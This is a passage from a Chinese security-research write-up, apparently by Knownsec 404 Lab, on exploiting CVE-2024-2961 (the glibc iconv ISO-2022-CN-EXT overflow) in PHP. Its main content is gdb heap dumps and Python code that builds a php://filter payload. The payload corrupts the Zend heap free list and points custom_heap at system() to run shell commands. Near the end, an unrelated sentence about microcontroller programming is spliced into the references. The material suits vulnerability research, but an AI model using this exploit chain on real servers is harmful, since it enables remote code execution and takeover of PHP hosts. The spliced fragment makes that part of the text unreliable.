    $ python3 poc1.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
    # 最终断点停在执行完处理convert.iconv.UTF-8.ISO-2022-CN-EXT的函数
    0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax]

    ? 0x5555557dfae7 <_php_stream_fill_read_buffer+311> cmp eax, 2
    0x5555557dfaea <_php_stream_fill_read_buffer+314> je _php_stream_fill_read_buffer+256 <_php_stream_fill_read_buffer+256>

    0x5555557dfab0 <_php_stream_fill_read_buffer+256> pxor xmm0, xmm0
    0x5555557dfab4 <_php_stream_fill_read_buffer+260> movaps xmmword ptr [r12], xmm0
    0x5555557dfab9 <_php_stream_fill_read_buffer+265> mov rbp, qword ptr [rbp + 0x18]
    0x5555557dfabd <_php_stream_fill_read_buffer+269> test rbp, rbp
    0x5555557dfac0 <_php_stream_fill_read_buffer+272> je _php_stream_fill_read_buffer+448 <_php_stream_fill_read_buffer+448>

    0x5555557dfb70 <_php_stream_fill_read_buffer+448> mov rbp, qword ptr [r14]
    0x5555557dfb73 <_php_stream_fill_read_buffer+451> test rbp, rbp
    0x5555557dfb76 <_php_stream_fill_read_buffer+454> jne _php_stream_fill_read_buffer+502 <_php_stream_fill_read_buffer+502>
    ─────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────
    In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:577
    572
    573 /* wind the handle... */
    574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
    575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
    576
    ? 577 if (status != PSFS_PASS_ON) {
    578 break;
    579 }
    580
    581 /* brig_out becomes brig_in.
    582 * brig_in will always be empty here, as the filter MUST attach any un-consumed buckets
    # freeslot的定义如下
    define freeslot
    set $phpheap = (struct _zend_mm_heap *) 0x7ffff5200040
    p $phpheap->free_slot[15]
    end
    pwndbg> freeslot
    $2 = (zend_mm_free_slot *) 0x7ffff528b200
    pwndbg> x/32gx 0x7ffff528b200
    0x7ffff528b200: 0x00007ffff528b300 0x0000000000000000
    0x7ffff528b210: 0x0000000000000000 0x0000000000000000
    0x7ffff528b220: 0x0000000000000000 0x0000000000000000
    0x7ffff528b230: 0x0000000000000000 0x0000000000000000
    0x7ffff528b240: 0x0000000000000000 0x0000000000000000
    0x7ffff528b250: 0x0000000000000000 0x0000000000000000
    0x7ffff528b260: 0x0000000000000000 0x0000000000000000
    0x7ffff528b270: 0x0000000000000000 0x0000000000000000
    0x7ffff528b280: 0x0000000000000000 0x0000000000000000
    0x7ffff528b290: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2a0: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2b0: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2c0: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2d0: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2e0: 0x0000000000000000 0x0000000000000000
    0x7ffff528b2f0: 0x0000000000000000 0x2a241b0000000000
    pwndbg>
    0x7ffff528b300: 0x00007ffff528b148 0x4242424242424242
    0x7ffff528b310: 0x4242424242424242 0x4242424242424242

    从上面的内存布局可以看出,程序已经按照我们的设想触发漏洞,溢出覆盖了free_slots的指针。

    2.3.3.4 最终利用

    最终的利用思路我们参考了公开的PoC中的利用思路,即控制_zend_mm_heap结构体中的custom_heap。但是,该利用思路有个前置条件,需要将_zend_mm_heap->use_custom_heap设置为非0值。此外,我们不能仅仅修改custom_heap._free,还需要同时设置custom_heap._malloccustom_heap._realloc。因为当_zend_mm_heap->use_custom_heap非0时,这三个函数皆会调用其custom函数。

    基于之前的利用思路,我们的利用链要修改/新增以下步骤(这里需要注意,libc地址和php的_zend_mm_heap地址都为已知信息。):

    1. 因为0x7ffff528b300指向了0x7ffff528b148,所以我们需要控制该地址,恰好0x7ffff528b100是第一步中申请到的第一个堆,所以我们需要让step1_malloc_step2_free指向_zend_mm_heap段的地址。

    2. _zend_mm_heap的地址为0x7ffff5200040,我们利用的堆的大小为0x100,从0x7ffff5200050开始,0x100的大小,可以覆盖到所有的free_slot。所以,我们让0x7ffff528b148指向0x7ffff5200050

    3. 我们需要申请三个堆,把0x200->0x300->0x148这三个堆分配出来。这个时候free链表头为:0x7ffff5200050

    4. 申请一个堆,这个堆的地址为:0x7ffff5200050,写入我们需要控制的值。首先把size位设置为0x200000,free_slot只设置0x140和0x18的地址,其他皆为0。0x140的堆指向0x7ffff5200040,用来设置use_custom_heap,0x18的堆指向0x7ffff5200040 + 0x168,用来设置custom_heap。这里为什么设置0x140的堆呢?这个值是可以变化的,在这里参考了公开PoC中的定义cmd的命令长度为0x140,如果命令长度不够,则用\0填充到0x140的长度。

    5. 写入use_custom_heapcustom_heap的值。

    6. 写入需要执行的命令字符串,当该堆释放的时候,就会调用system执行指定命令。

    这里需要注意,执行的命令建议加上kill -9 $PPID;,否则所有堆里的数据都会被当成命令去执行一遍。

    根据以上思路,编写buildPayload函数,代码如下所示:

    def chunked_add_bad_data(data: bytes, badData: bytes, totalsize: int)->bytes:
    '''
    php处理dechunk的时候有一个问题,首先判断长度,只处理0-9, A-F, a-f这些字符。
    如果判断非这些字符,就会判断为处理长度结束,接着会判断下一个字符是否是\r或者\n,如果不是则跳过。
    这让我们可以在长度和\n之间注入其他字符,这些字符有以下要求,开始的值不能为十六进制,中间不能含有\n或者\r。
    一个示例:
    b'00000010........\x00A\x00\x00\x00\x00\x00\x00AAAAAA\n000008\nAAAAAAAA\n\n'
    这样往堆的0x10地址注入了0x4100
    不过这种方案限制比较大,如果php的_zend_mm_heap地址包含0x0a或者0x0d,就不能用了
    '''
    dataSize = len(data)
    chunk = f"{dataSize:x}".rjust(8, "0")
    chunk = chunk.encode() + b"." * 8 + badData
    end = b"\n" + data + b"\n"
    chunk += b"A" * (totalsize - len(chunk) - len(end))
    chunk += end
    assert len(chunk) == totalsize
    return chunk

    def buildPayload() -> str:
    '''
    我们把一次处理dechunk + convert.iconv.的过程算一步
    '''
    heapSize = 0x100
    BUG = "劄".encode("utf-8")
    # _zend_mm_heap基地址
    zend_heap_base = 0x7ffff5200040

    # 第一步申请0x100的堆,第二步释放
    # 第三次dechunk,长度小于0x100
    step1_malloc_step2_free = chunked_add_bad_data(b"A" * 8, p64(zend_heap_base + 0x10) * 10, 0xA0)
    # 第二次dechunk,长度小于0x100
    step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
    # 第一次dechunk,长度等于0x100
    step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

    # 第二步申请0x100的堆,第三步释放
    step2_malloc_step3_free = b"B" * 0x20
    # 第三次dechunk,长度小于0x100
    step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
    # 第二次dechunk,长度等于0x100
    step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
    # 第一次dechunk,长度大于0x100
    step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

    # 第三步触发bug
    step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
    # 确保长度为0x100
    assert len(step3_trigger_bug) == 0x100
    # 第三次dechunk,长度等于0x100
    step3_trigger_bug = chunked_chunk(step3_trigger_bug)
    # 第二次dechunk,长度大于0x100
    step3_trigger_bug = chunked_chunk(step3_trigger_bug)
    # 第一次dechunk,长度大于0x100
    step3_trigger_bug = compressed_bucket(step3_trigger_bug)

    # 第三次dechunk, 0\n
    step3_trailer_chunk = b"0\n".ljust(0x48, b"\x00") + p64(zend_heap_base + 0x10)

    step3_trailer_chunk += b"\x00" * (heapSize - len(step3_trailer_chunk))
    # 第二次dechunk,长度等于0x100
    step3_trailer_chunk = chunked_chunk(step3_trailer_chunk)
    # 第一次dechunk,长度大于0x100
    step3_trailer_chunk = compressed_bucket(step3_trailer_chunk)

    step4_write_zend_heap = ptr_bucket(
    0x200000,
    0,
    # free_slot
    0,
    0,
    zend_heap_base + 0x168, # 0x18
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    zend_heap_base, # 0x140
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    size=0x100,
    )
    step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
    step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
    step4_write_zend_heap = compressed_bucket(step4_write_zend_heap)

    mallocAddr = 0x7ffff7568120
    systemAddr = 0x7ffff7513d60
    reallocAddr = 0x7ffff75687c0
    step4_write_custom_heap = ptr_bucket(
    mallocAddr, systemAddr, reallocAddr, size=0x18
    )
    step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
    step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
    step4_write_custom_heap = compressed_bucket(step4_write_custom_heap)

    step4_use_custom_heap_and_cmd = b"kill -9 $PPID; ls -alF"
    step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(0x140, b"\x00")
    step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd)
    step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
    step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
    step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd)

    pages = (
    step4_write_zend_heap * 4 +
    step4_write_custom_heap +
    step4_use_custom_heap_and_cmd +
    step1_malloc_step2_free * 3 +
    step2_malloc_step3_free * 2 +
    step3_trigger_bug
    )
    resource = compress(pages)
    resource = base64.b64encode(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
    # zlib解压缩
    "zlib.inflate",
    # 第一步
    "dechunk",
    "convert.iconv.latin1.latin1",
    # 第二步
    "dechunk",
    "convert.iconv.latin1.latin1",
    # 第三步触发漏洞
    "dechunk",
    "convert.iconv.UTF-8.ISO-2022-CN-EXT",
    # 第四步,写入数据然后执行命令
    "convert.quoted-printable-decode",
    "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    注意,因为提供的地址都是使用gdb调试时的地址,因此上面的Payload只能在调试状态下成功执行命令。




    3  总结


    参考资料

    经过自行调试和分析后发现,公开的PoC已经非常完善了,利用链无法进一步优化,并且已经进行了两次zlib压缩,能把payload压缩到非常短。

    虽然目前公开的只有对PHP进行利用的PoC,但是iconv漏洞的影响面仍非常广泛,后续将继续对iconv的使用面进行研究,以确定是否还有其他应用受到了该漏洞的影响。

    4 参考链接


    参考资学完了前面三个程序后,可以说已经入门了单片机开发,能进行以下几种基础操作:控制端口输出,编写中断函数,通过uart口输出调试信息。
    [1] https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
    [2] https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py





    作者名片



    往 期 热 门
    (点击图片跳转)

    “阅读原文”更多精彩内容!

    知道创宇404实验室
    关注我们,获取知道创宇404实验室最新研究动向。
     最新文章